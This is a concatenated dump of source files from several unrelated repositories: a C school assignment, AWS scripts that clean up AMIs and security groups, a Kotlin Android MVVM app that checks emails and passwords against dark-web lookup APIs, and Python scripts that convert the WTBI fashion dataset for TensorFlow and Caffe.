(*norm)(b); } <file_sep>#include <stdio.h> #include <stdlib.h> #include "partA.h" #include "partB.h" #include "partC.h" #include "partD.h" int main(int argc, char *argv[]) { FILE *file; if(argc >= 2) if((file = fopen("./player.txt", "r")) == NULL) printf("File does not exist.\n"); else printf("This program requires at least a <selection> parameter.\n"); if(*argv[1] == 'A' || *argv[1] == 'a') partA(file, argv[2]); if(*argv[1] == 'B' || *argv[1] == 'b') partB(file, argv[2]); if(*argv[1] == 'C' || *argv[1] == 'c') partC(file); if(*argv[1] == 'D' || *argv[1] == 'd') partD(file); } <file_sep>//hashing function for use in assignment int hashName(char *string) { int i = 0; int value = 0; while(*(string + i) != '\0') { value = value + *(string + i) - 64; i = i + 1; } return value % 1000000; } int hashID(int id) { return id % 1000000; }
ed3dba492c78a50e9c4ca052bd9f236b9af90eab
[ "Markdown", "Makefile", "Java", "Python", "Text", "C", "R", "C++" ]
98
C
daniel-gonzalez-cedre/school
a1822a2aa0a74e2bbec864515bd6179307a85986
a23abf204e2cb7f5d6c34d11293f5bc85b9c970e
refs/heads/master
<file_sep>#!/bin/bash # タグ付けされたAMIの解除およびスナップショットを削除するシェル # 実行する前には以下を書き換えること # CLIOPT : profileの指定が必要な場合 # FILTER : タグのkeyとvalue # 16行目の[1:]の値。1:は直近の1世代目のみ保存して、それ以降は削除します。 set -ex # profileは書き換えが必要であれば修正すること CLIOPT='--profile hogehoge --output text' FILTER='--filters Name=tag-key,Values=Type Name=tag-value,Values=test' # AMI IDを取得する RET=`aws ec2 describe-images --owners self --query 'reverse(sort_by(Images,&CreationDate))[1:].{id:ImageId}' $FILTER $CLIOPT` if [ $? != 0 ]; then echo "[FATAL] AWS command execution failer." exit 1 fi # AMI IDを配列に格納する AMIIDS=($RET) if [ ${#AMIIDS[@]} == 0 ];then echo "[INFO] Target AMI does not exist." exit 0 fi for id in "${AMIIDS[@]}" do # AMIで使っているsnapshotを取得しておく RET=`aws ec2 describe-images --image-ids=$id --query Images[].BlockDeviceMappings[].Ebs.SnapshotId $CLIOPT` SNAPIDS=($RET) aws ec2 deregister-image --image-id $id $CLIOPT echo "deregister $id" if [ $? == 0 ]; then for snapid in "${SNAPIDS[@]}" do aws ec2 delete-snapshot --snapshot-id $snapid $CLIOPT echo "delete snapshot $snapid" if [ $? == 0 ];then echo "[INFO] Delete snapshot($snapid)" fi done else echo "[ERROR] Failed to release AMI." fi done <file_sep># aws-shells AWSでよく使いそうなシェルをまとめています ## リスト - [AMI解除](./remove-ami/) - [セキュリティグループ付与/取り外す](./modify-sg) <file_sep>""" EC2インスタンスのセキュリティグループを付与・取るプログラム 実行方法 % python myapp.py add i-xxxxxxxxxxx sg-xxxxxxxxxx % python myapp.py del i-xxxxxxxxxxx sg-xxxxxxxxxx 引数 param1: 追加(add) or 削除(del) param2: インスタンスID param3: EC2インスタンスから追加(削除)するセキュリティグループ 注意事項 プログラム内ではアクセストークンの指定は行っていない。自分の環境にあわせて、設定しておくこと """ __author__ = '<NAME>' __version__ = '1.0' __date__ = '2019/06/28' import boto3 import sys import logging def main(): """ メインの実行部 """ global mode,instid,sg mode = sys.argv[1] # add or del instid = sys.argv[2] # 複数指定は考慮していない sg = sys.argv[3] # 複数指定は考慮していない currentsgs = [] logging.basicConfig(level=logging.DEBUG) getCurrentSG() if mode == 'add': currentsgs.append(sg) elif mode == 'del': currentsgs.remove(sg) modifySG() def getCurrentSG(): """ 現在のセキュリティグループを取得する """ client = boto3.client('ec2') try: response = client.describe_instances( InstanceIds=[ instid ] ) except: logging.error('セキュリティグループ情報が取得できません') print(response) exit() logging.debug(response) for s in response['Reservations'][0]['Instances'][0]['SecurityGroups']: currentsgs.append(s['GroupId']) def modifySG(): """ EC2インスタンスのセキュリティグループを変更する """ client = boto3.client('ec2') try: response = client.modify_instance_attribute( InstanceId=instid, Groups=currentsgs ) logging.debug(response) if ( response['ResponseMetadata']['HTTPStatusCode'] == 200 ): logging.info('セキュリティグループを変更しました') except: logging.fatal('セキュリティグループを変更できません') exit() if __name__ == '__main__': main()
634078840b99b7533540f3620990c3729fbeed2b
[ "Markdown", "Python", "Shell" ]
3
Shell
izanari/aws-shells
81a0c0e425576e6c1f75150108affcb4d15f49c4
0ebd8df9efe059ea282c3eae77f94f5406714092
refs/heads/master
<repo_name>Densigner/MVVMExampleApp<file_sep>/README.md # MVVMExampleApp This is an example of MVVM architecture using coroutines, Kodein, Retrofit and databinding <file_sep>/app/src/main/java/com/example/haveibeenh4cked/viewmodels/checkemail/CheckEmailFactory.kt package com.example.haveibeenh4cked.viewmodels.checkemail import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProvider import com.example.haveibeenh4cked.repositories.CheckDarkWebRepository @Suppress("UNCHECKED_CAST") class CheckEmailFactory( private val repository: CheckDarkWebRepository ) : ViewModelProvider.NewInstanceFactory() { override fun <T : ViewModel?> create(modelClass: Class<T>): T { return CheckEmailViewModel(repository) as T } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/models/DarkWebResults.kt package com.example.haveibeenh4cked.models import com.google.gson.annotations.SerializedName data class DarkWebResults( val found: Boolean )<file_sep>/settings.gradle rootProject.name='HaveIBeenH4cked' include ':app' <file_sep>/app/src/main/java/com/example/haveibeenh4cked/repositories/CheckPasswordRepository.kt package com.example.haveibeenh4cked.repositories import com.example.haveibeenh4cked.models.APIBadPassword import com.example.haveibeenh4cked.models.DarkWebResults import com.example.haveibeenh4cked.models.SafeApiRequest class CheckPasswordRepository ( private var api:APIBadPassword ) : SafeApiRequest() { suspend fun passwordResult(thePassword:String) : DarkWebResults { return apiRequest{ api.getthepassword(thePassword)} } } <file_sep>/app/src/main/java/com/example/haveibeenh4cked/models/DarkWebData.kt package com.example.haveibeenh4cked.models import com.google.gson.annotations.SerializedName data class DarkWebData( @SerializedName("current_page") val currentPage: String, val `data`: List<Data>, val from: String, @SerializedName("last_page") val lastPage: String, @SerializedName("per_page") val perPage: String, val to: String, val total: String )<file_sep>/app/src/main/java/com/example/haveibeenh4cked/models/APIDarkWeb.kt package com.example.haveibeenh4cked.models import okhttp3.OkHttpClient import okhttp3.ResponseBody import retrofit2.Call import retrofit2.Response import retrofit2.Retrofit import retrofit2.converter.gson.GsonConverterFactory import retrofit2.http.* interface APIDarkWeb { @GET("api/search/") suspend fun getDarkWebInfo( @Query("query") query:String, @Query("page") page:Int ):Response<DarkWebData> companion object{ operator fun invoke( networkConnectionInterceptor: NetworkConnectionInterceptor ) : APIDarkWeb{ val okkHttpclient = OkHttpClient.Builder() .addInterceptor(networkConnectionInterceptor) .build() return Retrofit.Builder() .client(okkHttpclient) // .baseUrl("https://darksearch.io/") .addConverterFactory(GsonConverterFactory.create()) .build() .create(APIDarkWeb::class.java) } } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/viewmodels/checkpassword/CheckPasswordFactory.kt package com.example.haveibeenh4cked.viewmodels.checkpassword import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProvider import com.example.haveibeenh4cked.repositories.CheckPasswordRepository @Suppress("UNCHECKED_CAST") class CheckPasswordFactory( private val repository: CheckPasswordRepository ) : ViewModelProvider.NewInstanceFactory() { override fun <T : ViewModel?> create(modelClass: Class<T>): T { return CheckPasswordViewModel(repository) as T } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/utilities/MVVMApplication.kt package com.example.haveibeenh4cked.utilities import android.app.Application import com.example.haveibeenh4cked.models.APIBadPassword import com.example.haveibeenh4cked.models.APIDarkWeb import com.example.haveibeenh4cked.models.NetworkConnectionInterceptor import com.example.haveibeenh4cked.repositories.CheckDarkWebRepository import com.example.haveibeenh4cked.repositories.CheckPasswordRepository import com.example.haveibeenh4cked.viewmodels.checkemail.CheckEmailFactory import com.example.haveibeenh4cked.viewmodels.checkemail.CheckEmailViewModel import com.example.haveibeenh4cked.viewmodels.checkpassword.CheckPasswordFactory import com.example.haveibeenh4cked.viewmodels.checkpassword.CheckPasswordViewModel import com.example.haveibeenh4cked.viewmodels.checkpersonalinfo.CheckPersonalInfoFactory import com.example.haveibeenh4cked.viewmodels.checkpersonalinfo.CheckPersonalInfoViewModel import org.kodein.di.Kodein import org.kodein.di.KodeinAware import org.kodein.di.android.x.androidXModule import org.kodein.di.generic.bind import org.kodein.di.generic.instance import org.kodein.di.generic.provider import org.kodein.di.generic.singleton class MVVMApplication : Application(), KodeinAware { override val kodein = Kodein.lazy { import(androidXModule(this@MVVMApplication)) bind() from singleton { NetworkConnectionInterceptor(instance()) } //Check Email and Check Personal Info Use the same Repositories etc bind() from singleton { CheckEmailViewModel(instance()) } bind() from provider { CheckEmailFactory(instance()) } bind() from singleton { APIDarkWeb(instance())} bind() from singleton { CheckDarkWebRepository(instance()) } bind() from provider { CheckPersonalInfoFactory(instance())} bind() from singleton {CheckPersonalInfoViewModel (instance())} //Check Password bind() from singleton { CheckPasswordViewModel(instance()) } bind() from provider { CheckPasswordFactory(instance()) } bind() from singleton { APIBadPassword(instance())} bind() from singleton { CheckPasswordRepository(instance()) } } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/models/Data.kt package com.example.haveibeenh4cked.models import com.google.gson.annotations.SerializedName data class Data( val description: String, val link: String, val title: String )<file_sep>/app/src/main/java/com/example/haveibeenh4cked/models/NetworkConnectionInterceptor.kt package com.example.haveibeenh4cked.models import android.content.Context import android.net.ConnectivityManager import android.net.NetworkCapabilities import android.os.Build import android.util.Log import androidx.annotation.RequiresApi import internal.NoInternetException import okhttp3.Interceptor import okhttp3.Response import java.net.InetAddress class NetworkConnectionInterceptor( context: Context ) : Interceptor { private val applicationContext = context.applicationContext @RequiresApi(Build.VERSION_CODES.LOLLIPOP) override fun intercept(chain: Interceptor.Chain): Response { if (!isInternetAvailable()) throw NoInternetException("Make sure you have an active data connection") return chain.proceed(chain.request()) } @RequiresApi(Build.VERSION_CODES.LOLLIPOP) private fun isInternetAvailable(): Boolean { var result = false val connectivityManager = applicationContext.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager? connectivityManager?.let { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { it.getNetworkCapabilities(connectivityManager.activeNetwork)?.apply { result = when { hasTransport(NetworkCapabilities.TRANSPORT_WIFI) -> true hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) -> true else -> false } } } else { try { var pingGoogle = InetAddress.getByName("google.com"); return !pingGoogle.equals(""); } catch (e:Exception ) { Log.e("connection Error",e.toString()) return false; } } } return result } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/views/CheckEmail.kt package com.example.haveibeenh4cked.views import android.os.Bundle import androidx.fragment.app.Fragment import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.Toast import androidx.databinding.DataBindingUtil import androidx.lifecycle.ViewModelProviders import androidx.lifecycle.lifecycleScope import com.example.haveibeenh4cked.R import com.example.haveibeenh4cked.databinding.CheckEmailFragmentBinding import com.example.haveibeenh4cked.models.DarkWebResults import internal.ApiException import internal.NoInternetException import com.example.haveibeenh4cked.viewmodels.checkemail.CheckEmailFactory import com.example.haveibeenh4cked.viewmodels.checkemail.CheckEmailViewModel import kotlinx.android.synthetic.main.check_email_fragment.* import kotlinx.coroutines.launch import org.kodein.di.KodeinAware import org.kodein.di.android.x.kodein import org.kodein.di.generic.instance class CheckEmail : Fragment(),OnRequestListener,KodeinAware { /* This is an example of using databinding with MVVM architecture. */ override val kodein by kodein() private val factory: CheckEmailFactory by instance() private lateinit var viewMode: CheckEmailViewModel companion object { fun newInstance() = CheckEmail() } lateinit var binding: CheckEmailFragmentBinding override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { binding = DataBindingUtil.inflate(inflater, R.layout.check_email_fragment, container, false) viewMode = ViewModelProviders.of(this, factory).get(CheckEmailViewModel::class.java) viewMode.onRequest= this binding.viewmodelvar = viewMode binding.lifecycleOwner = this return binding.root; } override fun onActivityCreated(savedInstanceState: Bundle?) { super.onActivityCreated(savedInstanceState) (activity as MainActivity)?.supportActionBar?.title = "Check Email" } override fun onStarted() { Toast.makeText(activity,"Its Loading", Toast.LENGTH_LONG).show() } override fun onSuccess(apiResponse: DarkWebResults) {} override fun onFailure(failuretext: String) { Toast.makeText(activity,failuretext, Toast.LENGTH_LONG).show() } } <file_sep>/app/src/main/java/com/example/haveibeenh4cked/models/APIBadPassword.kt package com.example.haveibeenh4cked.models import com.jakewharton.retrofit2.adapter.kotlin.coroutines.CoroutineCallAdapterFactory import kotlinx.coroutines.Deferred import okhttp3.Interceptor import okhttp3.OkHttpClient import okhttp3.ResponseBody import retrofit2.Call import retrofit2.Response import retrofit2.Retrofit import retrofit2.converter.gson.GsonConverterFactory import retrofit2.http.GET import retrofit2.http.Headers import retrofit2.http.Path import retrofit2.http.Query import java.security.MessageDigest interface APIBadPassword{ var password:String @Headers("Authorization: d<PASSWORD>") @GET("check/{password}") suspend fun getthepassword( @Path("password") password: String ):Response<DarkWebResults> companion object{ operator fun invoke( networkConnectionInterceptor: NetworkConnectionInterceptor ) : APIBadPassword { val okkHttpclient = OkHttpClient.Builder() .addInterceptor(networkConnectionInterceptor) .build() return Retrofit.Builder() .client(okkHttpclient) .baseUrl("https://api.badpasswordcheck.com/") .addConverterFactory(GsonConverterFactory.create()) .build() .create(APIBadPassword::class.java) } } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/viewmodels/checkpersonalinfo/CheckPersonalInfoViewModel.kt package com.example.haveibeenh4cked.viewmodels.checkpersonalinfo import androidx.databinding.ObservableField import androidx.lifecycle.ViewModel import androidx.lifecycle.viewModelScope import com.example.haveibeenh4cked.repositories.CheckDarkWebRepository import com.example.haveibeenh4cked.views.OnRequestListener import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import kotlinx.coroutines.withContext class CheckPersonalInfoViewModel( private val repository: CheckDarkWebRepository ):ViewModel() { var personalinfo:String? = null var hasitbeenhacked = ObservableField<String>() var onRequest: OnRequestListener? = null suspend fun checkTheDarkWebforPersonalInfo( query: String ) = withContext(Dispatchers.IO) { repository.checkTheDarkWeb(query) } fun onSubmitClicked() { if(personalinfo.isNullOrEmpty()){ onRequest?.onFailure("A Field Is Empty") return } viewModelScope.launch(Dispatchers.Main) { onRequest?.onStarted() if (checkTheDarkWebforPersonalInfo(personalinfo!!).toString().contains(personalinfo!!)){ hasitbeenhacked.set("Unfortunately An Exact Match Of Your Personal Information Has Been Found On The Dark Web") }else{ hasitbeenhacked.set("We Cant Find Your Personal Info On The Dark Web") } } } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/views/MainActivity.kt package com.example.haveibeenh4cked.views import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import androidx.lifecycle.ViewModelProviders import androidx.navigation.NavController import androidx.navigation.Navigation import androidx.navigation.ui.NavigationUI import androidx.navigation.ui.setupWithNavController import com.example.haveibeenh4cked.R import com.example.haveibeenh4cked.viewmodels.checkpassword.CheckPasswordViewModel import kotlinx.android.synthetic.main.activity_main.* class MainActivity : AppCompatActivity() { private lateinit var navController: NavController override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) navController = Navigation.findNavController(this, R.id.nav_host_fragment ) bottomNavigationView.setupWithNavController(navController) NavigationUI.setupActionBarWithNavController(this,navController) } override fun onSupportNavigateUp():Boolean { return NavigationUI.navigateUp(navController,null) } } <file_sep>/app/src/main/java/com/example/haveibeenh4cked/viewmodels/checkemail/CheckEmailViewModel.kt package com.example.haveibeenh4cked.viewmodels.checkemail import androidx.databinding.ObservableField import androidx.lifecycle.ViewModel import androidx.lifecycle.viewModelScope import com.example.haveibeenh4cked.repositories.CheckDarkWebRepository import com.example.haveibeenh4cked.views.OnRequestListener import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import kotlinx.coroutines.withContext class CheckEmailViewModel( private val repository: CheckDarkWebRepository ):ViewModel() { var hasitbeenhacked = ObservableField<String>() var onRequest: OnRequestListener? = null var email:String? = null suspend fun checkTheDarkWebForEmail( query: String ) = withContext(Dispatchers.IO) { repository.checkTheDarkWeb(query) } fun onSubmitClicked() { if(email.isNullOrEmpty()){ onRequest?.onFailure("A Field Is Empty") return } viewModelScope.launch(Dispatchers.Main) { onRequest?.onStarted() if (checkTheDarkWebForEmail(email!!).toString().contains(email!!)){ hasitbeenhacked.set("Unfortunately An Exact Match Of Your Email Has Been Found On The Dark Web") }else{ hasitbeenhacked.set("We Cant Find Your Email On The Dark Web") } } } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/viewmodels/checkpersonalinfo/CheckPersonalInfoFactory.kt package com.example.haveibeenh4cked.viewmodels.checkpersonalinfo import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProvider import com.example.haveibeenh4cked.repositories.CheckDarkWebRepository @Suppress("UNCHECKED_CAST") class CheckPersonalInfoFactory( private val repository: CheckDarkWebRepository ) : ViewModelProvider.NewInstanceFactory() { override fun <T : ViewModel?> create(modelClass: Class<T>): T { return CheckPersonalInfoViewModel(repository) as T } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/viewmodels/checkpassword/CheckPasswordViewModel.kt package com.example.haveibeenh4cked.viewmodels.checkpassword import android.util.Log import androidx.databinding.ObservableField import androidx.lifecycle.* import com.example.haveibeenh4cked.repositories.CheckPasswordRepository import com.example.haveibeenh4cked.views.OnRequestListener import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import kotlinx.coroutines.withContext class CheckPasswordViewModel( private val repository: CheckPasswordRepository ): ViewModel(){ var onRequest:OnRequestListener? = null var password:String? = null var hasitbeenhacked = ObservableField<String>() suspend fun checkTheDarkWeb( password: String ) = withContext(Dispatchers.IO) { repository.passwordResult(password) } /// Called via Databinding fun onSubmitClicked() { if(password.isNullOrEmpty()){ onRequest?.onFailure("A Field Is Empty") return } viewModelScope.launch(Dispatchers.Main) { onRequest?.onStarted() if (checkTheDarkWeb(password!!).toString().contains("true")){ hasitbeenhacked.set("Unfortunately Your Password Has Been Compromised") }else{ hasitbeenhacked.set("Your Password Has Not Been Found Within Our Database") } } } } <file_sep>/app/src/main/java/com/example/haveibeenh4cked/repositories/CheckDarkWebRepository.kt package com.example.haveibeenh4cked.repositories import com.example.haveibeenh4cked.models.APIDarkWeb import com.example.haveibeenh4cked.models.DarkWebData import com.example.haveibeenh4cked.models.SafeApiRequest class CheckDarkWebRepository( private var api:APIDarkWeb ): SafeApiRequest() { suspend fun checkTheDarkWeb(query: String) : DarkWebData { return apiRequest{ api.getDarkWebInfo(query,1)} } }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/views/OnRequestListener.kt package com.example.haveibeenh4cked.views import com.example.haveibeenh4cked.models.DarkWebResults interface OnRequestListener { fun onStarted() fun onSuccess(apiResponse: DarkWebResults) fun onFailure(failuretext:String) }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/models/ConnectivityInterceptor.kt package com.example.haveibeenh4cked.models import okhttp3.Interceptor interface ConnectivityInterceptor:Interceptor { }<file_sep>/app/src/main/java/com/example/haveibeenh4cked/views/CheckPassword.kt package com.example.haveibeenh4cked.views import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.Toast import androidx.fragment.app.Fragment import androidx.lifecycle.Observer import androidx.lifecycle.ViewModelProviders import com.example.haveibeenh4cked.databinding.CheckPasswordFragmentBinding import com.example.haveibeenh4cked.models.DarkWebResults import com.example.haveibeenh4cked.viewmodels.checkpassword.CheckPasswordFactory import com.example.haveibeenh4cked.viewmodels.checkpassword.CheckPasswordViewModel import org.kodein.di.KodeinAware import org.kodein.di.android.x.kodein import org.kodein.di.generic.instance class CheckPassword : Fragment() ,OnRequestListener,KodeinAware{ /* This is an example of using databinding with MVVM architecture. */ companion object { fun newInstance() = CheckPassword() } override val kodein by kodein() private val factory: CheckPasswordFactory by instance() lateinit var binding: CheckPasswordFragmentBinding override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { binding = CheckPasswordFragmentBinding.inflate(inflater, container, false) binding.lifecycleOwner = this return binding.root; } override fun onActivityCreated(savedInstanceState: Bundle?) { super.onActivityCreated(savedInstanceState) val viewMode = ViewModelProviders.of(this, factory).get(CheckPasswordViewModel::class.java) viewMode.onRequest= this binding.viewmodelvar = viewMode (activity as MainActivity)?.supportActionBar?.title = "Check Password" } override fun onStarted() { Toast.makeText(activity,"Its Loading", Toast.LENGTH_LONG).show() } override fun onSuccess(apiResponse: DarkWebResults) { } override fun onFailure(failuretext: String) { Toast.makeText(activity,failuretext,Toast.LENGTH_LONG).show() } } <file_sep>/app/src/main/java/com/example/haveibeenh4cked/views/CheckPersonalInfo.kt package com.example.haveibeenh4cked.views import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.Toast import androidx.databinding.DataBindingUtil import androidx.fragment.app.Fragment import androidx.lifecycle.ViewModelProviders import androidx.lifecycle.lifecycleScope import com.example.haveibeenh4cked.R import com.example.haveibeenh4cked.databinding.CheckPersonalInfoFragmentBinding import com.example.haveibeenh4cked.models.DarkWebResults import internal.ApiException import internal.NoInternetException import com.example.haveibeenh4cked.viewmodels.checkpersonalinfo.CheckPersonalInfoFactory import com.example.haveibeenh4cked.viewmodels.checkpersonalinfo.CheckPersonalInfoViewModel import kotlinx.android.synthetic.main.check_personal_info_fragment.* import kotlinx.coroutines.launch import org.kodein.di.KodeinAware import org.kodein.di.android.x.kodein import org.kodein.di.generic.instance class CheckPersonalInfo : Fragment(),KodeinAware,OnRequestListener { /* This is an Example using Kodein and Coroutines. * */ override val kodein by kodein() private val factory: CheckPersonalInfoFactory by instance() private lateinit var viewMode: CheckPersonalInfoViewModel companion object { fun newInstance() = CheckEmail() } lateinit var binding: CheckPersonalInfoFragmentBinding override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { binding = DataBindingUtil.inflate(inflater, R.layout.check_personal_info_fragment, container, false) viewMode = ViewModelProviders.of(this, factory).get(CheckPersonalInfoViewModel::class.java) viewMode.onRequest= this binding.viewmodelvar = viewMode binding.lifecycleOwner = this return binding.root; } override fun onActivityCreated(savedInstanceState: Bundle?) { super.onActivityCreated(savedInstanceState) (activity as MainActivity)?.supportActionBar?.title = "Check Your Personal Info" } override fun onStarted() { Toast.makeText(activity,"Its Loading", Toast.LENGTH_LONG).show() } override fun onSuccess(apiResponse: DarkWebResults) {} override fun onFailure(failuretext: String) { Toast.makeText(activity,failuretext, Toast.LENGTH_LONG).show() } }
d7599843c9b9e8a660a64841886f0f83a0ed1178
[ "Markdown", "Kotlin", "Gradle" ]
23
Markdown
Densigner/MVVMExampleApp
e20c67eda8df58e75daf7f4c5290ecd5edf39e56
c1959c5ed44ef93636ecfc45e8727982f75f87a7
refs/heads/master
<file_sep>import numpy as np import os import json import io import PIL.Image root = '/Users/luzan/data/WTBI/meta/json/' classes = ['bags', 'belts', 'dresses', 'eyewear', 'footwear', 'hats', 'leggings', 'outerwear', 'pants', 'skirts', 'tops'] name2cls = { v:k+1 for k,v in enumerate(classes) } import sys import tensorflow as tf import cv2 key_template = '{:09}' keys = {} for dataset in ['train', 'test']: keys[dataset] = set() template = os.path.join(root, dataset+'_pairs_{}.json') for clsname in classes: with open(template.format(clsname)) as f: a = json.load(f) for d in a: k = d['photo'] keys[dataset].add(key_template.format(k)) for d in ['train', 'test']: with open('/Users/luzan/data/WTBI/{}.txt'.format(d), 'w') as f: for k in keys[d]: f.write('{}\n'.format(k)) <file_sep> import tensorflow as tf from object_detection.utils import dataset_util flags = tf.app.flags # flags.DEFINE_string('output_path', '/Users/luzan/fashion-proj/wtbi_train.record', 'Path to output TFRecord') flags.DEFINE_string('output_path', '', 'Path to output TFRecord') FLAGS = flags.FLAGS import os import json import io import PIL.Image root = '/Users/luzan/data/WTBI/meta/json/' img_path_template = '/Users/luzan/data/WTBI/images/{:09}.png' # template = os.path.join(root, 'train_pairs_{}.json') template = os.path.join(root, 'test_pairs_{}.json') classes = ['bags', 'belts', 'dresses', 'eyewear', 'footwear', 'hats', 'leggings', 'outerwear', 'pants', 'skirts', 'tops'] name2cls = { v:k+1 for k,v in enumerate(classes) } photos = {} for clsname in classes: with open(template.format(clsname)) as f: a = json.load(f) for d in a: k = d['photo'] # fix for bad box if k==8288 and clsname=='bags': continue if k not in photos: photos[k]=[] photos[d['photo']].append({'name': clsname, 'bndbox': d['bbox']}) # print(d['bbox']) def bbox_transform(b, height, width): top, left, bheight, bwidth = b['top'],b['left'],b['height'],b['width'] xmin, ymin = left, top xmax, ymax = min(xmin + bwidth - 1, width), min(ymin + bheight - 1, height) assert xmax-xmin>0 and ymax-ymin>0 retval = [xmin/width, xmax/width, ymin/height, ymax/height] return retval def create_tf_example(idx, data): full_path = img_path_template.format(idx) with tf.gfile.GFile(full_path, 'rb') as fid: encoded_jpg = fid.read() encoded_jpg_io = io.BytesIO(encoded_jpg) image = PIL.Image.open(encoded_jpg_io) height = image.height width = image.width filename = os.path.basename(full_path).encode() encoded_image_data = encoded_jpg image_format = b'jpeg' boxes=[] for d in data: try: boxes.append(bbox_transform( d['bndbox'], height, width )) except: print(d) raise Exception # boxes = [bbox_transform(d['bndbox']) for d in data] xmins = [b[0] for b in boxes] xmaxs = [b[1] for b in boxes] ymins = [b[2] for b in boxes] ymaxs = [b[3] for b in boxes] classes_text = [d['name'] for d in data] classes = [name2cls[o] for o in classes_text] tf_example = tf.train.Example(features=tf.train.Features(feature={ 'image/height': dataset_util.int64_feature(height), 'image/width': dataset_util.int64_feature(width), 'image/filename': dataset_util.bytes_feature(filename), 'image/source_id': dataset_util.bytes_feature(filename), 'image/encoded': dataset_util.bytes_feature(encoded_image_data), 'image/format': dataset_util.bytes_feature(image_format), 'image/object/bbox/xmin': dataset_util.float_list_feature(xmins), 'image/object/bbox/xmax': dataset_util.float_list_feature(xmaxs), 'image/object/bbox/ymin': dataset_util.float_list_feature(ymins), 'image/object/bbox/ymax': dataset_util.float_list_feature(ymaxs), 'image/object/class/text': dataset_util.bytes_list_feature([o.encode() for o in classes_text]), 'image/object/class/label': dataset_util.int64_list_feature(classes), })) return tf_example # def create_tf_example(example): # # TODO(user): Populate the following variables from your example. # height = None # Image height # width = None # Image width # filename = None # Filename of the image. Empty if image is not from file # encoded_image_data = None # Encoded image bytes # image_format = None # b'jpeg' or b'png' # xmins = [] # List of normalized left x coordinates in bounding box (1 per box) # xmaxs = [] # List of normalized right x coordinates in bounding box # # (1 per box) # ymins = [] # List of normalized top y coordinates in bounding box (1 per box) # ymaxs = [] # List of normalized bottom y coordinates in bounding box # # (1 per box) # classes_text = [] # List of string class name of bounding box (1 per box) # classes = [] # List of integer class id of bounding box (1 per box) # tf_example = tf.train.Example(features=tf.train.Features(feature={ # 'image/height': dataset_util.int64_feature(height), # 'image/width': dataset_util.int64_feature(width), # 'image/filename': dataset_util.bytes_feature(filename), # 'image/source_id': dataset_util.bytes_feature(filename), # 'image/encoded': dataset_util.bytes_feature(encoded_image_data), # 'image/format': dataset_util.bytes_feature(image_format), # 'image/object/bbox/xmin': dataset_util.float_list_feature(xmins), # 'image/object/bbox/xmax': dataset_util.float_list_feature(xmaxs), # 'image/object/bbox/ymin': dataset_util.float_list_feature(ymins), # 'image/object/bbox/ymax': dataset_util.float_list_feature(ymaxs), # 'image/object/class/text': dataset_util.bytes_list_feature(classes_text), # 'image/object/class/label': dataset_util.int64_list_feature(classes), # })) # return tf_example def main(): writer = tf.python_io.TFRecordWriter(FLAGS.output_path) for idx, data in photos.items(): tf_example = create_tf_example(idx, data) writer.write(tf_example.SerializeToString()) print('wrote example {}'.format(idx)) writer.close() # def main(_): # writer = tf.python_io.TFRecordWriter(FLAGS.output_path) # # TODO(user): Write code to read in your dataset to examples variable # for example in examples: # tf_example = create_tf_example(example) # writer.write(tf_example.SerializeToString()) # writer.close() if __name__=='__main__': main() <file_sep> import numpy as np import os import json import io import PIL.Image import sys import cv2 root = '/Users/luzan/data/WTBI/meta/json/' # path to json metadata img_path_template = '/Users/luzan/data/WTBI/images/{:09}.png' # path to images # object classes start at 1, and 0 is background classes = ['bags', 'belts', 'dresses', 'eyewear', 'footwear', 'hats', 'leggings', 'outerwear', 'pants', 'skirts', 'tops'] name2cls = { v:k+1 for k,v in enumerate(classes) } annotations = {} img_sizes = {} for dataset in ['train', 'test']: template = os.path.join(root, dataset+'_pairs_{}.json') for clsname in classes: with open(template.format(clsname)) as f: a = json.load(f) for d in a: k = d['photo'] # get size of image if k not in img_sizes: full_path = img_path_template.format(k) im = PIL.Image.open(full_path) height = im.height width = im.width img_sizes[k] = (height,width) else: height, width = img_sizes[k] # fix for bad boxes b = d['bbox'] if b['height']*b['width'] == 0: continue top, left, bheight, bwidth = b['top'],b['left'],b['height'],b['width'] xmin, ymin = left, top xmax, ymax = min(xmin + bwidth - 1, width), min(ymin + bheight - 1, height) assert xmax-xmin > 0 and ymax-ymin > 0 if k not in annotations: annotations[k]=[] annotations[k].append([name2cls[clsname], xmin, ymin, xmax, ymax]) def main(): anno_dir = '/Users/luzan/data/WTBI/annotations' if not os.path.exists(anno_dir): os.makedirs(anno_dir) # each image gets a text file containing all bounding boxes in image # one bounding box per line, the format: <CLASS> <XMIN> <YMIN> <XMAX> <YMAX> for idx, annos in annotations.items(): with open(os.path.join(anno_dir, '{:09}.txt'.format(idx)), 'w') as f: for anno in annos: f.write('{} {} {} {} {}\n'.format(*anno)) if __name__=='__main__': main() <file_sep>output_path = '/Users/luzan/caffe/data/wtbi/labelmap_wtbi.prototxt' # generate label file zerocls = '''item { name: "none_of_the_above" label: 0 display_name: "background" } ''' classes = ['bags', 'belts', 'dresses', 